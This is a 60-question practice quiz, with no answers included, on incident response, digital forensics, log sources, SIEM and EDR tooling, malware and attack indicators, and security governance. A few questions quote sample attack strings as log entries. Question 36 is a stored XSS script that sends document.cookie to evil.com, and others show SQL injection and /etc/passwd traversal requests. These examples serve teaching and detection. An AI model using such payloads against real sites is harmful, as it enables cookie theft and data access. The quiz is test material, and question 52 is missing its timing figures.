Unit 5: Incident Response, Monitoring, Malicious Activity, and Security Governance - Practice Quiz

1 What is the correct order of the first three phases in the incident response lifecycle (NIST model)?

2 Which document outlines the roles, responsibilities, and procedures to follow during a security incident?

3 What is the main goal of the containment phase in incident response?

4 In digital forensics, what term describes the documented history showing who handled evidence and when?

5 Why do forensic investigators create a bit-for-bit copy (image) of a disk instead of working on the original?

6 Which technique verifies that a forensic image has not been altered?

7 Which data source records events such as logons, failed access attempts, and system errors on a host?

8 What does a packet capture (PCAP) file primarily contain?

9 Which type of data captures metadata about network connections such as source, destination, and port?

10 What does the acronym SIEM stand for?

11 Which tool is designed specifically to detect suspicious activity and raise an alert without blocking it?

12 A legitimate activity that a monitoring tool incorrectly flags as malicious is called a:

13 Which of the following is a common indicator of a malware infection on a computer?

14 Which type of malware encrypts a victim's files and demands payment for the decryption key?

15 A sudden flood of traffic that overwhelms a server and makes it unavailable indicates which attack?

16 Which of the following is an indicator of a possible physical security breach?

17 Repeated failed login attempts across many accounts in a short time most likely indicates which attack?

18 Which attack inserts malicious SQL statements into an application input field to access a database?

19 Which document provides a high-level statement of management intent and expectations?

20 What is the primary purpose of a formal change management process?

21 During a ransomware outbreak, a responder isolates infected hosts from the network but keeps them powered on. Which incident response phase does this action primarily belong to, and why keep systems powered on?

22 An analyst must collect evidence from a live system. Following the order of volatility, which data source should be captured first?

23 Before analyzing a seized hard drive, an investigator creates a bit-for-bit copy and records a SHA-256 hash of both the original and the copy. What is the primary purpose of recording these hashes?

24 An investigator wants to determine which user account authenticated to a Windows server and at what time. Which data source is the most direct source of this information?

25 A SOC analyst needs to correlate network flow volume between two hosts without inspecting packet payloads. Which data source best fits this need?

26 A security team is overwhelmed by alerts, many of which are false positives. Which SIEM tuning action most directly reduces alert fatigue without losing visibility?

27 An organization deploys an agent that monitors endpoints for suspicious behavior, records telemetry, and can automatically isolate a host. Which tool category does this best describe?

28 A workstation shows outbound connections to an unknown IP at precise 60-second intervals, each transmitting a small, consistent payload. Which malware behavior does this pattern most strongly indicate?

29 Users report that their files have been renamed with a strange extension and a text file demands payment in cryptocurrency. Which malware type is indicated?

30 An administrator notices that antivirus and task manager processes are being silently terminated and some system files are hidden from directory listings. Which malware characteristic best explains this?

31 Network monitoring shows a single host sending ARP replies claiming to be the default gateway's IP with its own MAC address. Which attack does this indicate?

32 A server's logs show a sudden flood of half-open connections where the handshake never completes, exhausting its connection table. Which attack is indicated?

33 A data center badge system logs one employee's badge swipe at the entrance, immediately followed by two people entering together on camera. Which physical attack indicator does this suggest?

34 A web server log contains the request GET /product?id=1' OR '1'='1. Which application attack is being attempted?

35 An application log shows repeated requests like GET /../../../../etc/passwd. Which attack does this indicate?

36 A comment field submission containing <script>document.location='http://evil.com/?c='+document.cookie</script> gets stored and later runs in other users' browsers. Which attack type is this?

37 An organization document states: "All passwords must be at least 14 characters." Which type of governance document is this statement best classified as?

38 A new hire must sign a document agreeing to use company systems only for authorized purposes before gaining network access. Which document is this?

39 An administrator wants to apply a firmware update to a core router during business hours without any documented approval. According to change management best practice, what should happen first?

40 A security team configures a SOAR platform so that when a phishing email is reported, the system automatically extracts URLs, checks them against threat intelligence, and quarantines matching messages across all mailboxes. Which benefit does this BEST illustrate?

41 During the containment phase of an incident involving a compromised domain controller, an analyst must choose between isolating the host immediately or allowing it to continue running under monitoring. Which factor most strongly justifies choosing continued monitoring over immediate isolation?

42 An investigator must acquire evidence from a live system suspected of a memory-resident (fileless) malware infection. Following the order of volatility, which acquisition sequence is correct?

43 After imaging a drive, an analyst computes an MD5 hash of the original and the copy and they match. Opposing counsel challenges the use of MD5. What is the strongest technically valid response to preserve evidentiary integrity?

44 A SOC is correlating events across time zones. A firewall logs in local time (UTC-5, no DST notation), while the SIEM normalizes to UTC. An authentication server logs in UTC+1. Why is enforcing a single time source via NTP critical to this investigation?

45 A SIEM rule triggers on more than 5 failed logins in 60 seconds. Attackers evade it by spacing attempts at one every 15 seconds across many accounts. Which detection strategy best counters this low-and-slow password spraying?

46 An endpoint shows: powershell.exe spawned by winword.exe, outbound TLS to a newly registered domain, and a scheduled task created under the user profile. Which classification best fits this chain of indicators?

47 An analyst observes a process consuming high CPU, generating connections to a mining pool over port 3333, and no file encryption or ransom note. Despite no data loss, why is this still a serious incident?

48 Network monitoring shows a host suddenly receiving traffic destined for other hosts, and the switch's CAM table is unusually full of unknown MAC addresses. Which attack is most consistent with these indicators?

49 A security team notices gradual signal degradation on a wireless network, with legitimate clients repeatedly disconnecting and a flood of 802.11 deauthentication frames. Which conclusion is best supported?

50 Web server logs show requests like /product?id=1 AND 1=1 returning normal pages but /product?id=1 AND 1=2 returning errors or empty results. What does this differential response pattern indicate?

51 An application log shows many requests to /api/users/1, /api/users/2, /api/users/3 from a single authenticated low-privilege session, each returning other users' private data. Which vulnerability is being exploited?

52 A login page returns in roughly ms for invalid usernames but roughly ms for valid usernames with wrong passwords. What is the security implication of this timing difference?

53 An auditor finds that an organization has a high-level directive stating "data must be protected," but engineers disagree on required key lengths. Which document type is missing and would resolve this gap?

54 A company must demonstrate to customers that its SaaS controls operate effectively over a 12-month period. Which attestation is most appropriate to request from an independent auditor?

55 A critical zero-day patch must be deployed within hours, but the normal change advisory board (CAB) meets weekly. Which change management mechanism correctly balances urgency with governance?

56 During a change implementation, a key concern is the ability to return systems to their prior working state if the deployment fails. Which element of a change plan directly addresses this, and why is it tested beforehand?

57 A SOC implements a SOAR playbook that automatically isolates any endpoint flagged by EDR as malicious. After a false-positive signature update, dozens of production servers are quarantined. What design principle would best prevent recurrence?

58 An organization automates user onboarding/offboarding through orchestration tied to its HR system. A terminated employee retains access for days. Investigation shows the HR status change was never pushed to the orchestration engine. What is the root cause category?

59 Post-incident, a team wants to measure how long attackers remained undetected inside the network. Which metric captures this, and how is it derived?

60 An investigator needs to prove which specific process opened an outbound connection, but only has NetFlow data and firewall logs. Why is this evidence insufficient, and what data source resolves it?